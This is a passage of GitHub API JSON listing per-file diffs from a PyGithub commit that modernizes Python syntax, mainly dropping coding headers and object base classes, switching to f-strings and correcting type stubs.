#"},{"sha":"a491ef30bfa0219c44e16f934a2dd440e7166549","filename":"github/HookResponse.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHookResponse.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FHookResponse.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FHookResponse.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3289d18716b0b3a46c7dc08b6b497213672b14a3","filename":"github/InputFileContent.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputFileContent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputFileContent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInputFileContent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -31,7 +29,7 @@\n import github.GithubObject\n \n \n-class InputFileContent(object):\n+class InputFileContent:\n \"\"\"\n This class represents InputFileContents\n \"\"\""},{"sha":"b53fd46d9d55dfdc8d8a53b79fad1e1a153ceb71","filename":"github/InputGitAuthor.py","status":"modified","additions":2,"deletions":4,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputGitAuthor.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputGitAuthor.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInputGitAuthor.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -33,7 +31,7 @@\n import github.GithubObject\n \n \n-class InputGitAuthor(object):\n+class InputGitAuthor:\n \"\"\"\n This class represents InputGitAuthors\n \"\"\"\n@@ -56,7 +54,7 @@ def __init__(self, name, email, date=github.GithubObject.NotSet):\n self.__date = date\n \n def __repr__(self):\n- return 'InputGitAuthor(name=\"{}\")'.format(self.__name)\n+ return f'InputGitAuthor(name=\"{self.__name}\")'\n \n @property\n def _identity(self):"},{"sha":"909250c56c746918b4b5daf2060bfcb2697663f7","filename":"github/InputGitTreeElement.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputGitTreeElement.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInputGitTreeElement.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInputGitTreeElement.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -31,7 +29,7 @@\n import github.GithubObject\n \n \n-class InputGitTreeElement(object):\n+class InputGitTreeElement:\n \"\"\"\n This class represents InputGitTreeElements\n \"\"\""},{"sha":"5ec7550304c2ef20c84d0256c892691ea006a206","filename":"github/Installation.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInstallation.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInstallation.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInstallation.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Jannis Gebauer #"},{"sha":"06c695f9aedb24a5429bf58a88e37ff1a71c68fe","filename":"github/InstallationAuthorization.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInstallationAuthorization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInstallationAuthorization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInstallationAuthorization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Jannis Gebauer #"},{"sha":"d246dcfb8e1d5aec8c96a9a69afdce430e3f3f6f","filename":"github/Invitation.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInvitation.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FInvitation.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FInvitation.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Jannis Gebauer #"},{"sha":"078f21828c650ca54a5ef12abb4496bfdf66700d","filename":"github/Issue.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssue.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssue.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FIssue.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Andrew Bettison #"},{"sha":"85162b0dfebd0e1ae6768374817f06ed79462779","filename":"github/IssueComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssueComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssueComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FIssueComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"35456e868651fc0a11115e15978cd6f928d3e020","filename":"github/IssueEvent.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssueEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssueEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FIssueEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b7d73da6f918ecfb6ed7e2b1193c2267962f4e4c","filename":"github/IssuePullRequest.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssuePullRequest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FIssuePullRequest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FIssuePullRequest.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"881ce014d0704727ffecb8975ee8fdd22c2f40a6","filename":"github/Label.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FLabel.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FLabel.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FLabel.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"c604037985b92b5d8515c878b4abc9a5ab50b38a","filename":"github/License.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FLicense.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FLicense.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FLicense.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Wan Liuyang #"},{"sha":"ceac54e0f02acd44eac56f1b468c67c8532898d2","filename":"github/MainClass.py","status":"modified","additions":18,"deletions":20,"changes":38,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMainClass.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMainClass.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FMainClass.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #\n@@ -90,7 +88,7 @@\n DEFAULT_PER_PAGE = 30\n \n \n-class Github(object):\n+class Github:\n \"\"\"\n This is the main class you instantiate to access the Github API v3. Optional parameters allow different authentication methods.\n \"\"\"\n@@ -339,13 +337,13 @@ def get_repo(self, full_name_or_id, lazy=False):\n \"\"\"\n assert isinstance(full_name_or_id, (str, int)), full_name_or_id\n url_base = \"/repositories/\" if isinstance(full_name_or_id, int) else \"/repos/\"\n- url = \"%s%s\" % (url_base, full_name_or_id)\n+ url = f\"{url_base}{full_name_or_id}\"\n if lazy:\n return Repository.Repository(\n self.__requester, {}, {\"url\": url}, completed=False\n )\n headers, data = self.__requester.requestJsonAndCheck(\n- \"GET\", \"%s%s\" % (url_base, full_name_or_id)\n+ \"GET\", f\"{url_base}{full_name_or_id}\"\n )\n return Repository.Repository(self.__requester, headers, data, completed=True)\n \n@@ -431,7 +429,7 @@ def search_repositories(\n query,\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/repositories `_\n@@ -459,7 +457,7 @@ def search_repositories(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -476,7 +474,7 @@ def search_users(\n query,\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/users `_\n@@ -500,7 +498,7 @@ def search_users(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -517,7 +515,7 @@ def search_issues(\n query,\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/issues `_\n@@ -541,7 +539,7 @@ def search_issues(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -556,7 +554,7 @@ def search_code(\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n highlight=False,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/code `_\n@@ -585,7 +583,7 @@ def search_code(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -605,7 +603,7 @@ def search_commits(\n query,\n sort=github.GithubObject.NotSet,\n order=github.GithubObject.NotSet,\n- **qualifiers\n+ **qualifiers,\n ):\n \"\"\"\n :calls: `GET /search/commits `_\n@@ -633,7 +631,7 @@ def search_commits(\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -661,7 +659,7 @@ def search_topics(self, query, **qualifiers):\n query_chunks.append(query)\n \n for qualifier, value in qualifiers.items():\n- query_chunks.append(\"%s:%s\" % (qualifier, value))\n+ query_chunks.append(f\"{qualifier}:{value}\")\n \n url_parameters[\"q\"] = \" \".join(query_chunks)\n assert url_parameters[\"q\"], \"need at least one qualifier\"\n@@ -809,7 +807,7 @@ def get_app(self, slug=github.GithubObject.NotSet):\n return GithubApp.GithubApp(self.__requester, headers, data, completed=True)\n \n \n-class GithubIntegration(object):\n+class GithubIntegration:\n \"\"\"\n Main class to obtain tokens for a GitHub integration.\n \"\"\"\n@@ -858,7 +856,7 @@ def get_access_token(self, installation_id, user_id=None):\n self.base_url, installation_id\n ),\n headers={\n- \"Authorization\": \"Bearer {}\".format(self.create_jwt()),\n+ \"Authorization\": f\"Bearer {self.create_jwt()}\",\n \"Accept\": Consts.mediaTypeIntegrationPreview,\n \"User-Agent\": \"PyGithub/Python\",\n },\n@@ -892,13 +890,13 @@ def get_installation(self, owner, repo):\n :rtype: :class:`github.Installation.Installation`\n \"\"\"\n headers = {\n- \"Authorization\": \"Bearer {}\".format(self.create_jwt()),\n+ \"Authorization\": f\"Bearer {self.create_jwt()}\",\n \"Accept\": Consts.mediaTypeIntegrationPreview,\n \"User-Agent\": \"PyGithub/Python\",\n }\n \n response = requests.get(\n- \"{}/repos/{}/{}/installation\".format(self.base_url, owner, repo),\n+ f\"{self.base_url}/repos/{owner}/{repo}/installation\",\n headers=headers,\n )\n response_dict = response.json()"},{"sha":"6eccb3431a1ab4664388f8dca734499a8a8eb5eb","filename":"github/Membership.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMembership.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMembership.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FMembership.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"642de5f7ddbcb9086907042da89b70eee5b186e2","filename":"github/Migration.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMigration.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMigration.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FMigration.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3f3f9829216bbf3d6bf0b95366dddd1ec9ddc1bd","filename":"github/Milestone.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMilestone.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FMilestone.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FMilestone.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"98e4e29d1b9497117e98ef9dcc0faa8c818d5214","filename":"github/NamedUser.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNamedUser.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNamedUser.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FNamedUser.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"7f427c8b384dc3389b4322d7d0f2d5431834be3c","filename":"github/Notification.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNotification.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNotification.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FNotification.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #"},{"sha":"9be34885156bf63e7b71fb55962c1dd446443da8","filename":"github/NotificationSubject.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNotificationSubject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FNotificationSubject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FNotificationSubject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #"},{"sha":"3354a636b82a5b8d7dc09ed9e4103328bc5180e5","filename":"github/Organization.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FOrganization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FOrganization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FOrganization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"8542e31df48579be5dee928702d9eb96bfe89af6","filename":"github/PaginatedList.py","status":"modified","additions":2,"deletions":6,"changes":8,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPaginatedList.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPaginatedList.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPaginatedList.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -53,12 +51,10 @@ def __getitem__(self, index):\n return self._Slice(self, index)\n \n def __iter__(self):\n- for element in self.__elements:\n- yield element\n+ yield from self.__elements\n while self._couldGrow():\n newElements = self._grow()\n- for element in newElements:\n- yield element\n+ yield from newElements\n \n def _isBiggerThan(self, index):\n return len(self.__elements) > index or self._couldGrow()"},{"sha":"89b9564a85a289881f605ce716a455f5dd1d16e9","filename":"github/Path.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPath.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPath.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPath.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"bd62f0dc92afc74c91ffe01b3769e430738a4000","filename":"github/Permissions.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPermissions.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPermissions.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPermissions.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6bbbbfe3e8d240a88bc4b54b57a20523efb30ea7","filename":"github/Plan.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPlan.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPlan.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPlan.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"9757f74f742da0387241950a2ecc3f8dd1709a86","filename":"github/Project.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProject.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProject.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FProject.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 bbi-yggy #"},{"sha":"97b8561c66dd07b832a865747da464ac6347b100","filename":"github/ProjectCard.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProjectCard.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProjectCard.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FProjectCard.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 bbi-yggy #"},{"sha":"21e312e2cc9728e934effd7ec1376fb91009c22f","filename":"github/ProjectColumn.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProjectColumn.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FProjectColumn.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FProjectColumn.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 bbi-yggy #"},{"sha":"1306f304e12e212ac26ff0827821613fadde74df","filename":"github/PullRequest.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequest.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Michael Stead #"},{"sha":"597a85ad4af0180bdf8c8408028225c1c93b1026","filename":"github/PullRequest.pyi","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequest.pyi","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequest.pyi","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequest.pyi?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -61,16 +61,16 @@ class PullRequest(CompletableGithubObject):\n ) -> PullRequestComment: ...\n def create_review_request(\n self,\n- reviewers: Union[_NotSetType, str] = ...,\n- team_reviewers: Union[_NotSetType, str] = ...,\n+ reviewers: Union[_NotSetType, List[str]] = ...,\n+ team_reviewers: Union[_NotSetType, List[str]] = ...,\n ) -> None: ...\n @property\n def created_at(self) -> datetime: ...\n def delete_labels(self) -> None: ...\n def delete_review_request(\n self,\n- reviewers: Union[_NotSetType, str] = ...,\n- team_reviewers: Union[_NotSetType, str] = ...,\n+ reviewers: Union[_NotSetType, List[str]] = ...,\n+ team_reviewers: Union[_NotSetType, List[str]] = ...,\n ) -> None: ...\n @property\n def deletions(self) -> int: ..."},{"sha":"ae2b4b0e3a55ede25f3b8ef430c72882ea224eb4","filename":"github/PullRequestComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequestComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"3ec124e5875baf52a0e72e3c8ce9b42c3d218ecd","filename":"github/PullRequestMergeStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestMergeStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestMergeStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequestMergeStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques 